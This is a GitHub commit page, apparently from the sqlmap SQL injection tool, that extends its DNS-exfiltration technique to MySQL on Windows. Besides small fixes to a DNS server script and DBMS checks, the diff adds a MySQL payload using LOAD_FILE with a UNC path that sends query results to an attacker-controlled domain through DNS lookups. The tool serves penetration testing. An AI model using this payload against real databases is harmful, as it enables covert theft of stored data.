Skip to content

Commit a4b95ab

Browse files
committedApr 4, 2012
works against MySQL/Windows
1 parent a1d97e9 commit a4b95ab

File tree

3 files changed

+7
-3
lines changed

3 files changed

+7
-3
lines changed
 

‎lib/request/dns.py

+4-1
Original file line numberDiff line numberDiff line change
@@ -95,6 +95,7 @@ def _():
9595
thread.start()
9696

9797
if __name__ == "__main__":
98+
server = None
9899
try:
99100
server = DNSServer()
100101
server.run()
@@ -118,4 +119,6 @@ def _():
118119
except KeyboardInterrupt:
119120
os._exit(0)
120121
finally:
121-
server._running = False
122+
if server:
123+
server._running = False
124+

‎lib/techniques/dns/use.py

+2-2
Original file line numberDiff line numberDiff line change
@@ -52,7 +52,7 @@ def dnsUse(payload, expression):
5252
count = 0
5353
offset = 1
5454

55-
if conf.dnsDomain and Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.ORACLE):
55+
if conf.dnsDomain and Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.ORACLE, DBMS.MYSQL):
5656
output = hashDBRetrieve(expression, checkConf=True)
5757

5858
if output and PARTIAL_VALUE_MARKER in output or kb.dnsTest is None:
@@ -64,7 +64,7 @@ def dnsUse(payload, expression):
6464
while True:
6565
count += 1
6666
prefix, suffix = ("%s" % randomStr(3) for _ in xrange(2))
67-
chunk_length = MAX_DNS_LABEL / 2 if Backend.isDbms(DBMS.ORACLE) else MAX_DNS_LABEL / 4 - 2
67+
chunk_length = MAX_DNS_LABEL / 2 if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.MYSQL) else MAX_DNS_LABEL / 4 - 2
6868
_, _, _, _, _, _, fieldToCastStr, _ = agent.getFields(expression)
6969
nulledCastedField = agent.nullAndCastField(fieldToCastStr)
7070
nulledCastedField = queries[Backend.getIdentifiedDbms()].substring.query % (nulledCastedField, offset, chunk_length)

‎procs/mysql/dns_request.txt

+1
Original file line numberDiff line numberDiff line change
@@ -0,0 +1 @@
1+
SELECT LOAD_FILE(CONCAT('\\\\%PREFIX%.',(%QUERY%),'.%SUFFIX%.%DOMAIN%\\%PREFIX%%SUFFIX%'))

0 commit comments

Comments
 (0)
Please sign in to comment.